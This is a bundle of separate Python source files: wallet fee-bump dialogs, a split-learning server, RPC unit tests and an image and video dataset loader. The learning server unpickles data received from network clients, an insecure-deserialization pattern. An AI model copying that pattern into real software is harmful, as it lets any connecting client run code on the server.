vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if not d.exec_():
return
fee = fee_e.get_amount()
if fee > max_fee:
self.show_error(_('Max fee exceeded'))
return
new_tx = self.wallet.cpfp(parent_tx, fee)
new_tx.set_rbf(True)
self.show_transaction(new_tx)
def bump_fee_dialog(self, tx):
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
tx_label = self.wallet.get_label(tx.txid())
tx_size = tx.estimated_size()
d = WindowModalDialog(self, _('Bump Fee'))
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_('Current fee') + ': %s'% self.format_amount(fee) + ' ' + self.base_unit()))
vbox.addWidget(QLabel(_('New fee' + ':')))
fee_e = BTCAmountEdit(self.get_decimal_point)
fee_e.setAmount(fee * 1.5)
vbox.addWidget(fee_e)
def on_rate(dyn, pos, fee_rate):
fee = fee_rate * tx_size / 1000
fee_e.setAmount(fee)
fee_slider = FeeSlider(self, self.config, on_rate)
vbox.addWidget(fee_slider)
cb = QCheckBox(_('Final'))
vbox.addWidget(cb)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if not d.exec_():
return
is_final = cb.isChecked()
new_fee = fee_e.get_amount()
delta = new_fee - fee
if delta < 0:
self.show_error("fee too low")
return
try:
new_tx = self.wallet.bump_fee(tx, delta)
except BaseException as e:
self.show_error(str(e))
return
if is_final:
new_tx.set_rbf(False)
self.show_transaction(new_tx, tx_label)
def save_transaction_into_wallet(self, tx):
try:
if not self.wallet.add_transaction(tx.txid(), tx):
self.show_error(_("Transaction could not be saved.") + "\n" +
_("It conflicts with current history."))
return False
except AddTransactionException as e:
self.show_error(e)
return False
else:
self.wallet.save_transactions(write=True)
# need to update at least: history_list, utxo_list, address_list
self.need_update.set()
self.msg_box(QPixmap(":icons/offline_tx.png"), None, _('Success'), _("Transaction added to wallet history"))
return True
|
Server_for_multiple_clients.py
|
import socket
import struct
import pickle
import numpy as np
import json
import torch
import torch.nn as nn
from torch.optim import Adam, SGD, AdamW
from threading import Thread
import torch.nn.functional as F
import time
from torch.autograd import Variable
import random
import sys
# load data from json file
f = open('parameter_server.json', )
data = json.load(f)
# set parameters fron json file
host = data["host"]
port = data["port"]
max_recv = data["max_recv"]
lr = data["learningrate"]
update_treshold = data["update_threshold"]
max_numclients = data["max_nr_clients"]
autoencoder = data["autoencoder"]
detailed_output = data["detailed_output"]
autoencoder_train = data["autoencoder_train"]
data_send_per_epoch = 0
client_weights = 0
client_weights_available = 0
num_epochs = 2
class Decode(nn.Module):
"""
decoder model
"""
def __init__(self):
super(Decode, self).__init__()
self.t_conva = nn.ConvTranspose1d(4, 8, 2, stride=2)
self.t_convb = nn.ConvTranspose1d(8, 16, 2, stride=2)
self.t_convc = nn.ConvTranspose1d(16, 32, 2, stride=1)
def forward(self, x):
x = self.t_conva(x)
#print("decode 1 Layer: ", x.size())
x = self.t_convb(x)
#print("decode 2 Layer: ", x.size())
x = self.t_convc(x)
#print("decode 3 Layer: ", x.size())
return x
class Grad_Encoder(nn.Module):
"""
encoder model
"""
def __init__(self):
super(Grad_Encoder, self).__init__()
self.conva = nn.Conv1d(32, 16, 2, stride=1, padding=0)
self.convb = nn.Conv1d(16, 8, 2, stride=2, padding=0)
self.convc = nn.Conv1d(8, 4, 2, stride=2, padding=0)##
def forward(self, x):
x = self.conva(x)
#print("encode 1 Layer: ", x.size())
x = self.convb(x)
#print("encode 2 Layer: ", x.size())
x = self.convc(x)
#print("encode 3 Layer: ", x.size())
return x
class Swish(nn.Module):
def forward(self, x):
return x * torch.sigmoid(x)
class ConvNormPool(nn.Module):
"""Conv Skip-connection module"""
def __init__(
self,
input_size,
hidden_size,
kernel_size,
norm_type='bachnorm'
):
super().__init__()
self.kernel_size = kernel_size
self.conv_1 = nn.Conv1d(
in_channels=input_size,
out_channels=hidden_size,
kernel_size=kernel_size
)
self.conv_2 = nn.Conv1d(
in_channels=hidden_size,
out_channels=hidden_size,
kernel_size=kernel_size
)
self.conv_3 = nn.Conv1d(
in_channels=hidden_size,
out_channels=hidden_size,
kernel_size=kernel_size
)
self.swish_1 = Swish()
self.swish_2 = Swish()
self.swish_3 = Swish()
if norm_type == 'group':
self.normalization_1 = nn.GroupNorm(
num_groups=8,
num_channels=hidden_size
)
self.normalization_2 = nn.GroupNorm(
num_groups=8,
num_channels=hidden_size
)
self.normalization_3 = nn.GroupNorm(
num_groups=8,
num_channels=hidden_size
)
else:
self.normalization_1 = nn.BatchNorm1d(num_features=hidden_size)
self.normalization_2 = nn.BatchNorm1d(num_features=hidden_size)
self.normalization_3 = nn.BatchNorm1d(num_features=hidden_size)
#self.pool = nn.MaxPool1d(kernel_size=0)
def forward(self, input):
conv1 = self.conv_1(input)
x = self.normalization_1(conv1)
x = self.swish_1(x)
x = F.pad(x, pad=(self.kernel_size - 1, 0))
x = self.conv_2(x)
x = self.normalization_2(x)
x = self.swish_2(x)
x = F.pad(x, pad=(self.kernel_size - 1, 0))
conv3 = self.conv_3(x)
x = self.normalization_3(conv1 + conv3)
x = self.swish_3(x)
x = F.pad(x, pad=(self.kernel_size - 1, 0))
#x = self.pool(x)
return x
class ConvNormPool1(nn.Module):
"""Conv Skip-connection module"""
def __init__(
self,
input_size,
hidden_size,
kernel_size,
norm_type='bachnorm'
):
super().__init__()
self.kernel_size = kernel_size
self.conv_1 = nn.Conv1d(
in_channels=input_size,
out_channels=hidden_size,
kernel_size=kernel_size
)
self.conv_2 = nn.Conv1d(
in_channels=hidden_size,
out_channels=hidden_size,
kernel_size=kernel_size
)
self.conv_3 = nn.Conv1d(
in_channels=hidden_size,
out_channels=hidden_size,
kernel_size=kernel_size
)
self.swish_1 = Swish()
self.swish_2 = Swish()
self.swish_3 = Swish()
if norm_type == 'group':
self.normalization_1 = nn.GroupNorm(
num_groups=8,
num_channels=hidden_size
)
self.normalization_2 = nn.GroupNorm(
num_groups=8,
num_channels=hidden_size
)
self.normalization_3 = nn.GroupNorm(
num_groups=8,
num_channels=hidden_size
)
else:
self.normalization_1 = nn.BatchNorm1d(num_features=hidden_size)
self.normalization_2 = nn.BatchNorm1d(num_features=hidden_size)
self.normalization_3 = nn.BatchNorm1d(num_features=hidden_size)
self.pool = nn.MaxPool1d(kernel_size=2)
def forward(self, input):
conv1 = self.conv_1(input)
x = self.normalization_1(conv1)
x = self.swish_1(x)
x = F.pad(x, pad=(self.kernel_size - 1, 0))
x = self.conv_2(x)
x = self.normalization_2(x)
x = self.swish_2(x)
x = F.pad(x, pad=(self.kernel_size - 1, 0))
conv3 = self.conv_3(x)
x = self.normalization_3(conv1 + conv3)
x = self.swish_3(x)
x = F.pad(x, pad=(self.kernel_size - 1, 0))
x = self.pool(x)
return x
"""
class initial_Client(nn.Module):
def __init__(
self,
input_size=1,
hid_size=64,
kernel_size=5,
num_classes=5,
):
super().__init__()
self.conv1 = ConvNormPool(
input_size=input_size,
hidden_size=hid_size,
kernel_size=kernel_size,
)
def forward(self, input):
x = self.conv1(input)
return x
"""
class Server(nn.Module):
def __init__(
self,
input_size=128,
hid_size=128,
kernel_size=5,
num_classes=5,
):
super().__init__()
self.conv2 = ConvNormPool(
input_size=input_size,
hidden_size=hid_size // 2,
kernel_size=kernel_size,
)
self.conv3 = ConvNormPool(
input_size=hid_size // 2,
hidden_size=hid_size // 4,
kernel_size=kernel_size,
)
self.avgpool = nn.AdaptiveAvgPool1d((1))
self.fc = nn.Linear(in_features=hid_size // 4, out_features=num_classes)
def forward(self, input):
#print("input conv2: ", input.shape)
x = self.conv2(input)
#print("output conv2: ", x.shape)
x = self.conv3(x)
x = self.avgpool(x)
# print(x.shape) # num_features * num_channels
x = x.view(-1, x.size(1) * x.size(2))
x = torch.sigmoid(self.fc(x))
return x
def send_msg(sock, content):
"""
pickles the content (creates bitstream), adds header and send message via tcp port
:param sock: socket
:param content: content to send via tcp port
"""
msg = pickle.dumps(content)
msg = struct.pack('>I', len(msg)) + msg # add 4-byte length in netwwork byte order
#print("send message with length: ", len(msg))
sock.sendall(msg)
def send_request(sock, getid, content=None):
"""
pickles the content (creates bitstream), adds header and send message via tcp port
:param sock: socket
:param content: content to send via tcp port
"""
msg = [getid, content]
msg = pickle.dumps(msg)
msg = struct.pack('>I', len(msg)) + msg # add 4-byte length in network byte order
#print("communication overhead send: ", sys.getsizeof(msg), " bytes")
global data_send_per_epoch
data_send_per_epoch += sys.getsizeof(msg)
sock.sendall(msg)
def recieve_msg(sock):
"""
recieves the meassage with helper function, unpickles the message and separates
the getid from the actual massage content
calls the request handler
:param
sock: socket
:return: none
"""
msg = recv_msg(sock) # receive client message from socket
msg = pickle.loads(msg)
getid = msg[0]
content = msg[1]
#if detailed_output:
#print("handle_request: ", content)
handle_request(sock, getid, content)
def recv_msg(sock):
"""
gets the message length (which corresponds to the first for bytes of the recieved bytestream) with the recvall function
:param
sock: socket
:return: returns the data retrieved from the recvall function
"""
raw_msglen = recvall(sock, 4)
if detailed_output:
print("RAW MSG LEN: ", raw_msglen)
if not raw_msglen:
return None
msglen = struct.unpack('>I', raw_msglen)[0]
return recvall(sock, msglen)
def recvall(sock, n):
"""
returns the data from a recieved bytestream, helper function to receive n bytes or return None if EOF is hit
:param sock: socket
:param n: length in bytes (number of bytes)
:return: message
"""
data = b''
while len(data) < n:
if detailed_output:
print("n- lendata: ", n - len(data))
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
#if detailed_output:
#if len(data) > 4:
#print("Length of Data: ", len(data))
return data
def handle_request(sock, getid, content):
"""
executes the requested function, depending on the get id, and passes the recieved message
:param sock: socket
:param getid: id of the function, that should be executed if the message is recieved
:param content: message content
"""
switcher = {
0: calc_gradients,
1: get_testacc,
2: updateclientmodels,
3: epoch_finished,
}
switcher.get(getid, "invalid request recieved")(sock, content)
def get_testacc(conn, msg):
"""
this method does the forward propagation with the recieved data, from to first layer of the decoder to the last layer
of the model. It sends information about loss/accuracy back to the client.
:param conn: connection
:param msg: message
"""
with torch.no_grad():
client_output_test, label_test = msg['client_output_val/test'], msg['label_val/test']
client_output_test, label_test = client_output_test.to(device), label_test.to(device)
if autoencoder:
client_output_test = decode(client_output_test) #
client_output_test = client_output_test.clone().detach().requires_grad_(True)
output_test = server(client_output_test)
loss_test = error(output_test, label_test)
test_loss = loss_test.data
correct_test = 0#torch.sum(output_test.argmax(dim=1) == label_test).item()
msg = {"val/test_loss": test_loss,
"correct_val/test": correct_test,
"output_val/test_server": output_test,
}
send_msg(conn, msg)
def updateclientmodels(sock, updatedweights):
"""
send the actual clientside weights to all connected clients,
except from the clint that is currently training
:param sock: the socket
:param updatedweights: the client side weghts with actual status
"""
if detailed_output:
print("updateclientmodels")
update_time = time.time()
#client.load_state_dict(updatedweights)
global client_weights
global client_weights_available
client_weights = updatedweights
client_weights_available = 1
#for clientss in connectedclients:
# try:
# if clientss != sock:
# send_msg(clientss, updatedweights)
# print("weights updated")
# except:
# pass
#print("update_time: ", time.time() - update_time)
def calc_gradients(conn, msg):
"""
this method does the forward propagation with the recieved data,
from to first layer of the decoder to the last layer
of the model. it calculates the loss, and does the backward propagation up to the
cutlayer of the model.
Depending on if the loss threshold is reached it sends the gradient of the back
propagation at the cut layer and
information about loss/accuracy/trainingtime back to the client.
:param conn: the connected socket of the currently training client
:param msg: the recieved data
"""
global grad_available
start_time_training = time.time()
with torch.no_grad():
client_output_train, client_output_train_without_ae, label_train, batchsize, batch_concat, train_active, encoder_grad_server, train_grad_active, grad_encode = msg['client_output_train'], msg['client_output_train_without_ae'], msg['label_train'], msg[
'batchsize'], msg['batch_concat'], msg['train_active'], msg['encoder_grad_server'], msg['train_grad_active'], msg['grad_encode'] # client output tensor
client_output_train, label_train = client_output_train.to(device), label_train
if autoencoder:
if train_active:
#print("train_active")
optimizerdecode.zero_grad()
client_output_train = Variable(client_output_train, requires_grad=True)
client_output_train_decode = decode(client_output_train)
if train_active:
loss_autoencoder = error_autoencoder(client_output_train_without_ae, client_output_train_decode)
loss_autoencoder.backward()
encoder_grad = client_output_train.grad.detach().clone()#
optimizerdecode.step()
#print("loss_autoencoder: ", loss_autoencoder)
else:
encoder_grad = 0
else:
client_output_train_decode = client_output_train.detach().clone()
encoder_grad = 0
#client_output_train = Variable(client_output_train, requires_grad=True)
#client_output_train_decode = decode(client_output_train)
#encoder_grad = 0
optimizer.zero_grad()
#splittensor = torch.split(client_output_train_decode, batchsize, dim=0)
dc = 0
while dc < batch_concat:
#tenss = client_output_train_decode#splittensor[dc]
#tenss = tenss.requires_grad_(True)
#tenss = tenss.to(device)
client_output_train_decode = Variable(client_output_train_decode, requires_grad=True)
output_train = server(client_output_train_decode) # forward propagation
with torch.no_grad():
lbl_train = label_train.to(device)#[dc].to(device)
loss_train = error(output_train, lbl_train) # calculates cross-entropy loss
#train_loss = loss_train.data
#loss_train = loss_train.to(device)
loss_train.backward() # backward propagation
client_grad_backprop = client_output_train_decode.grad#.clone().detach()
#print("client_grad_size: ", client_grad_backprop.size())
client_grad = client_grad_backprop.detach().clone()
optimizer.step()
train_loss = loss_train.item()
add_correct_train = 0#torch.sum(output_train.argmax(dim=1) == lbl_train).item()
add_total_train = len(lbl_train)
total_training_time = time.time() - start_time_training
if detailed_output:
print("training: ", dc)
#if train_loss > update_treshold:#.item()
a = random.randint(6, 10)
#print("a: ", a)
if a > 5:
if detailed_output:
print("train_loss.item > update_treshold")
#print("train_loss:", train_loss)
pass
else:
client_grad_send = "abort"#
print("abort")
client_grad_without_encode = 0
client_grad_abort = 0
if grad_encode:
if train_grad_active:
optimizer_grad_encoder.zero_grad()
grad_encoded = grad_encoder(client_grad)
client_grad_send = grad_encoded.detach().clone()
if train_grad_active:
client_grad_without_encode = client_grad.detach().clone()
else:
#if train_loss > update_treshold:
if a > 5:
client_grad_send = client_grad.detach().clone()#
client_grad_abort = 1
if train_grad_active:
if grad_available == 1:
grad_encoded.backward(encoder_grad_server)
optimizer_grad_encoder.step()
grad_available = 1
#print("client_grad_without_encode: ", client_grad_without_encode)
msg = {"grad_client": client_grad_send,
"encoder_grad": encoder_grad,
"client_grad_without_encode": 0,#client_grad_without_encode,
"grad_encode": grad_encode,
"train_loss": train_loss,
"add_correct_train": add_correct_train,
"add_total_train": add_total_train,
"active_trtime_batch_server": total_training_time,
"output_train": output_train,
"client_grad_abort": client_grad_abort,
}
#print("socket", conn)
#print("msg: ", msg["train_loss"])
send_msg(conn, msg)
dc += 1
def epoch_finished(conn, msg):
global epoch_unfinished
epoch_unfinished = 1
def initialize_client(conn):
"""
called when new client connect. if new connected client is not the first connected
client, the send the initial weights to
the new connected client
:param conn:
"""
if detailed_output:
print("connected clients: ", len(connectedclients))
if len(connectedclients) == 1:
msg = 0
else:
if client_weights_available:
initial_weights = client_weights
#initial_weights = client.state_dict()
msg = initial_weights
print("init_weights")
else:
msg = 0
send_request(conn, 0, msg)
def clientHandler(conn, addr):
initialize_client(conn)
while True:
try:
recieve_msg(conn)
except:
#print("No message, wait!")
pass
def train_client_for_one_epoch(conn):
send_request(conn, 1, 0)
global epoch_unfinished
while True:
try:
recieve_msg(conn)
#print("epoch_unfinished: ", epoch_unfinished)
if epoch_unfinished:
print("epoch finished")
break
except:
#print("No message, wait!")
pass
epoch_unfinished = 0
#val Phase
send_request(conn, 2, 0)
while True:
try:
recieve_msg(conn)
# print("epoch_unfinished: ", epoch_unfinished)
if epoch_unfinished:
print("epoch finished")
break
except:
# print("No message, wait!")
pass
epoch_unfinished = 0
def test_client(conn):
send_request(conn, 3, 0)
global epoch_unfinished
while True:
try:
recieve_msg(conn)
# print("epoch_unfinished: ", epoch_unfinished)
if epoch_unfinished:
print("epoch finished")
break
except:
# print("No message, wait!")
pass
epoch_unfinished = 0
connectedclients = []
trds = []
def main():
"""
initialize device, server model, initial client model, optimizer, loss, decoder and accepts new clients
"""
global grad_available
grad_available = 0
global epoch_unfinished
epoch_unfinished = 0
print(torch.version.cuda)
global device
# device = 'cpu'#
device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')
if (torch.cuda.is_available()):
print("training on gpu")
seed = 0
np.random.seed(seed)
torch.manual_seed(seed)
torch.cuda.manual_seed(seed)
torch.cuda.manual_seed_all(seed) # if you are using multi-GPU.
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True
global server
server = Server()
server.double().to(device)
"""
global client
client = initial_Client()
client.to(device)
print("initial_Client complete.")
"""
global optimizer
#optimizer = SGD(server.parameters(), lr=lr, momentum=0.9)
optimizer = AdamW(server.parameters(), lr=lr)
global error
#error = nn.CrossEntropyLoss()
error = nn.BCELoss()
print("Calculate CrossEntropyLoss complete.")
global error_autoencoder
error_autoencoder = nn.MSELoss()
if autoencoder:
global decode
decode = Decode()
if autoencoder_train == 0:
decode.load_state_dict(torch.load("./convdecoder_medical.pth"))
print("Decoder model loaded")
decode.eval()
decode.double().to(device)
#print("Load decoder parameters complete.")
global optimizerdecode
optimizerdecode = Adam(decode.parameters(), lr=0.0001)
global grad_encoder
grad_encoder = Grad_Encoder()
grad_encoder.to(device)
global optimizer_grad_encoder
optimizer_grad_encoder = Adam(grad_encoder.parameters(), lr=0.0001)
s = socket.socket()
s.bind((host, port))
s.listen(max_numclients)
print("Listen to client reply.")
for i in range(2):
conn, addr = s.accept()
connectedclients.append(conn)
print('Conntected with', addr)
print(connectedclients)
for epoch in range(num_epochs):
for c, client in enumerate(connectedclients):
print("init client: ", c+1)
initialize_client(client)
print("train_client: ", c+1)
train_client_for_one_epoch(client)
for c, client in enumerate(connectedclients):
print("test client: ", c + 1)
test_client(client)
#t = Thread(target=clientHandler, args=(conn, addr))
#print('Thread established')
#trds.append(t)
#t.start()
#print('Thread start')
#for t in trds:
# t.join()
if __name__ == '__main__':
main()
|
test_actions.py
|
# Copyright (c) 2009-2014, Christian Haintz
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
#
# * Neither the name of callme nor the names of its contributors
# may be used to endorse or promote products derived from this
# software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import threading
import time
import callme
from callme import exceptions as exc
from callme import test
class ActionsTestCase(test.TestCase):
@staticmethod
def _run_server_thread(server):
t = threading.Thread(target=server.start)
t.daemon = True
t.start()
server.wait()
return t
def test_method_single_call(self):
server = callme.Server(exchange_name="foo_ex", queue_name="foo.receive")
server.register_function(lambda a, b: a + b, 'madd')
p = self._run_server_thread(server)
# server_exchange_name ="foo_ex", server_queue_name="foo.receive"
try:
result = callme.Proxy(server_exchange_name ="foo_ex", server_queue_name="foo.receive").madd(1, 1)
self.assertEqual(result, 2)
finally:
server.stop()
p.join()
def test_method_multiple_calls(self):
server = callme.Server(exchange_name="foo_ex", queue_name="foo.receive")
server.register_function(lambda a, b: a + b, 'madd')
p = self._run_server_thread(server)
try:
proxy = callme.Proxy(server_exchange_name ="foo_ex", server_queue_name="foo.receive")
result = proxy.use_server(timeout=3).madd(1, 2)
self.assertEqual(result, 3)
result = proxy.use_server(timeout=2).madd(2, 2)
self.assertEqual(result, 4)
result = proxy.use_server(timeout=1).madd(2, 3)
self.assertEqual(result, 5)
finally:
server.stop()
p.join()
def test_serial_server_concurrent_calls(self):
def madd(a):
time.sleep(0.1)
return a
server = callme.Server(exchange_name="foo_ex", queue_name="foo.receive")
server.register_function(madd, 'madd')
p = self._run_server_thread(server)
def threaded_call(i, results):
proxy = callme.Proxy(server_exchange_name ="foo_ex", server_queue_name="foo.receive")
results.append((i, proxy.madd(i)))
results = []
threads = []
try:
# start 5 threads who call "parallel"
for i in range(5):
t = threading.Thread(target=threaded_call, args=(i, results))
t.daemon = True
t.start()
threads.append(t)
# wait until all threads are finished
[thread.join() for thread in threads]
finally:
server.stop()
p.join()
# check results
for i, result in results:
self.assertEqual(i, result)
def test_threaded_server_concurrent_calls(self):
def madd(a):
time.sleep(0.1)
return a
server = callme.Server(exchange_name="foo_ex", queue_name="foo.receive", threaded=True)
server.register_function(madd, 'madd')
p = self._run_server_thread(server)
def threaded_call(i, results):
results.append((i, callme.Proxy(server_exchange_name ="foo_ex", server_queue_name="foo.receive").madd(i)))
results = []
threads = []
try:
# start 5 threads who call "parallel"
for i in range(5):
t = threading.Thread(target=threaded_call, args=(i, results))
t.daemon = True
t.start()
threads.append(t)
# wait until all threads are finished
[thread.join() for thread in threads]
finally:
server.stop()
p.join()
# check results
for i, result in results:
self.assertEqual(i, result)
def test_timeout_call(self):
callme.Server(exchange_name="foo_ex", queue_name="foo.receive")
proxy = callme.Proxy(server_exchange_name ="foo_ex", server_queue_name="foo.receive", timeout=1)
self.assertRaises(exc.RpcTimeout, proxy.madd, 1, 2)
def test_remote_exception_call(self):
server = callme.Server(exchange_name="foo_ex", queue_name="foo.receive")
server.register_function(lambda a, b: a + b, 'madd')
p = self._run_server_thread(server)
try:
proxy = callme.Proxy(server_exchange_name ="foo_ex", server_queue_name="foo.receive")
self.assertRaises(TypeError, proxy.madd)
finally:
server.stop()
p.join()
|
datasets.py
|
import glob
import math
import os
import random
import shutil
import time
from pathlib import Path
from threading import Thread
import cv2
import pickle
import numpy as np
from PIL import Image, ExifTags
from paddle.io import Dataset, DistributedBatchSampler, DataLoader
from tqdm import tqdm
from utils.general import xyxy2xywh, xywh2xyxy
help_url = ''
img_formats = ['.bmp', '.jpg', '.jpeg', '.png', '.tif', '.tiff', '.dng']
vid_formats = ['.mov', '.avi', '.mp4', '.mpg', '.mpeg', '.m4v', '.wmv', '.mkv']
# Get orientation exif tag
for orientation in ExifTags.TAGS.keys():
if ExifTags.TAGS[orientation] == 'Orientation':
break
def get_hash(files):
# Returns a single hash value of a list of files
return sum(os.path.getsize(f) for f in files if os.path.isfile(f))
def exif_size(img):
# Returns exif-corrected PIL size
s = img.size # (width, height)
try:
rotation = dict(img._getexif().items())[orientation]
if rotation == 6: # rotation 270
s = (s[1], s[0])
elif rotation == 8: # rotation 90
s = (s[1], s[0])
except:
pass
return s
def create_dataloader(path, imgsz, batch_size, stride, opt, hyp=None, augment=False, cache=False, pad=0.0, rect=False):
# Make sure only the first process in DDP process the dataset first, and the following others can use the cache.
dataset = LoadImagesAndLabels(path, imgsz, batch_size,
augment=augment, # augment images
hyp=hyp, # augmentation hyperparameters
rect=rect, # rectangular training
cache_images=cache,
single_cls=opt.single_cls,
stride=int(stride),
pad=pad)
batch_size = min(batch_size, len(dataset))
train_sampler = DistributedBatchSampler(dataset, batch_size, drop_last=False, shuffle=False)
dataloader = DataLoader(dataset,
num_workers=0,
batch_sampler=train_sampler,
collate_fn=LoadImagesAndLabels.collate_fn,
shuffle=False)
return dataloader, dataset
class LoadImages: # for inference
def __init__(self, path, img_size=640):
p = str(Path(path)) # os-agnostic
p = os.path.abspath(p) # absolute path
if '*' in p:
files = sorted(glob.glob(p)) # glob
elif os.path.isdir(p):
files = sorted(glob.glob(os.path.join(p, '*.*'))) # dir
elif os.path.isfile(p):
files = [p] # files
else:
raise Exception('ERROR: %s does not exist' % p)
images = [x for x in files if os.path.splitext(x)[-1].lower() in img_formats]
videos = [x for x in files if os.path.splitext(x)[-1].lower() in vid_formats]
ni, nv = len(images), len(videos)
self.img_size = img_size
self.files = images + videos
self.nf = ni + nv # number of files
self.video_flag = [False] * ni + [True] * nv
self.mode = 'images'
if any(videos):
self.new_video(videos[0]) # new video
else:
self.cap = None
assert self.nf > 0, 'No images or videos found in %s. Supported formats are:\nimages: %s\nvideos: %s' % \
(p, img_formats, vid_formats)
def __iter__(self):
self.count = 0
return self
def __next__(self):
if self.count == self.nf:
raise StopIteration
path = self.files[self.count]
if self.video_flag[self.count]:
# Read video
self.mode = 'video'
ret_val, img0 = self.cap.read()
if not ret_val:
self.count += 1
self.cap.release()
if self.count == self.nf: # last video
raise StopIteration
else:
path = self.files[self.count]
self.new_video(path)
ret_val, img0 = self.cap.read()
self.frame += 1
print('video %g/%g (%g/%g) %s: ' % (self.count + 1, self.nf, self.frame, self.nframes, path), end='')
else:
# Read image
self.count += 1
img0 = cv2.imread(path) # BGR
assert img0 is not None, 'Image Not Found ' + path
print('image %g/%g %s: ' % (self.count, self.nf, path), end='')
# Padded resize
img = letterbox(img0, new_shape=self.img_size)[0]
# Convert
img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416
img = np.ascontiguousarray(img)
# cv2.imwrite(path + '.letterbox.jpg', 255 * img.transpose((1, 2, 0))[:, :, ::-1]) # save letterbox image
return path, img, img0, self.cap
def new_video(self, path):
self.frame = 0
self.cap = cv2.VideoCapture(path)
self.nframes = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))
def __len__(self):
return self.nf # number of files
class LoadWebcam: # for inference
def __init__(self, pipe=0, img_size=640):
self.img_size = img_size
if pipe == '0':
pipe = 0 # local camera
# pipe = 'rtsp://192.168.1.64/1' # IP camera
# pipe = 'rtsp://username:password@192.168.1.64/1' # IP camera with login
# pipe = 'rtsp://170.93.143.139/rtplive/470011e600ef003a004ee33696235daa' # IP traffic camera
# pipe = 'http://wmccpinetop.axiscam.net/mjpg/video.mjpg' # IP golf camera
# https://answers.opencv.org/question/215996/changing-gstreamer-pipeline-to-opencv-in-pythonsolved/
# pipe = '"rtspsrc location="rtsp://username:password@192.168.1.64/1" latency=10 ! appsink' # GStreamer
# https://answers.opencv.org/question/200787/video-acceleration-gstremer-pipeline-in-videocapture/
# https://stackoverflow.com/questions/54095699/install-gstreamer-support-for-opencv-python-package # install help
# pipe = "rtspsrc location=rtsp://root:root@192.168.0.91:554/axis-media/media.amp?videocodec=h264&resolution=3840x2160 protocols=GST_RTSP_LOWER_TRANS_TCP ! rtph264depay ! queue ! vaapih264dec ! videoconvert ! appsink" # GStreamer
self.pipe = pipe
self.cap = cv2.VideoCapture(pipe) # video capture object
self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3) # set buffer size
def __iter__(self):
self.count = -1
return self
def __next__(self):
self.count += 1
if cv2.waitKey(1) == ord('q'): # q to quit
self.cap.release()
cv2.destroyAllWindows()
raise StopIteration
# Read frame
if self.pipe == 0: # local camera
ret_val, img0 = self.cap.read()
img0 = cv2.flip(img0, 1) # flip left-right
else: # IP camera
n = 0
while True:
n += 1
self.cap.grab()
if n % 30 == 0: # skip frames
ret_val, img0 = self.cap.retrieve()
if ret_val:
break
# Print
assert ret_val, 'Camera Error %s' % self.pipe
img_path = 'webcam.jpg'
print('webcam %g: ' % self.count, end='')
# Padded resize
img = letterbox(img0, new_shape=self.img_size)[0]
# Convert
img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416
img = np.ascontiguousarray(img)
return img_path, img, img0, None
def __len__(self):
return 0
class LoadStreams: # multiple IP or RTSP cameras
def __init__(self, sources='streams.txt', img_size=640):
self.mode = 'images'
self.img_size = img_size
if os.path.isfile(sources):
with open(sources, 'r') as f:
sources = [x.strip() for x in f.read().splitlines() if len(x.strip())]
else:
sources = [sources]
n = len(sources)
self.imgs = [None] * n
self.sources = sources
for i, s in enumerate(sources):
# Start the thread to read frames from the video stream
print('%g/%g: %s... ' % (i + 1, n, s), end='')
cap = cv2.VideoCapture(0 if s == '0' else s)
assert cap.isOpened(), 'Failed to open %s' % s
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
fps = cap.get(cv2.CAP_PROP_FPS) % 100
_, self.imgs[i] = cap.read() # guarantee first frame
thread = Thread(target=self.update, args=([i, cap]), daemon=True)
print(' success (%gx%g at %.2f FPS).' % (w, h, fps))
thread.start()
print('') # newline
# check for common shapes
s = np.stack([letterbox(x, new_shape=self.img_size)[0].shape for x in self.imgs], 0) # inference shapes
self.rect = np.unique(s, axis=0).shape[0] == 1 # rect inference if all shapes equal
if not self.rect:
print('WARNING: Different stream shapes detected. For optimal performance supply similarly-shaped streams.')
def update(self, index, cap):
# Read next stream frame in a daemon thread
n = 0
while cap.isOpened():
n += 1
# _, self.imgs[index] = cap.read()
cap.grab()
if n == 4: # read every 4th frame
_, self.imgs[index] = cap.retrieve()
n = 0
time.sleep(0.01) # wait time
def __iter__(self):
self.count = -1
return self
def __next__(self):
self.count += 1
img0 = self.imgs.copy()
if cv2.waitKey(1) == ord('q'): # q to quit
cv2.destroyAllWindows()
raise StopIteration
# Letterbox
img = [letterbox(x, new_shape=self.img_size, auto=self.rect)[0] for x in img0]
# Stack
img = np.stack(img, 0)
# Convert
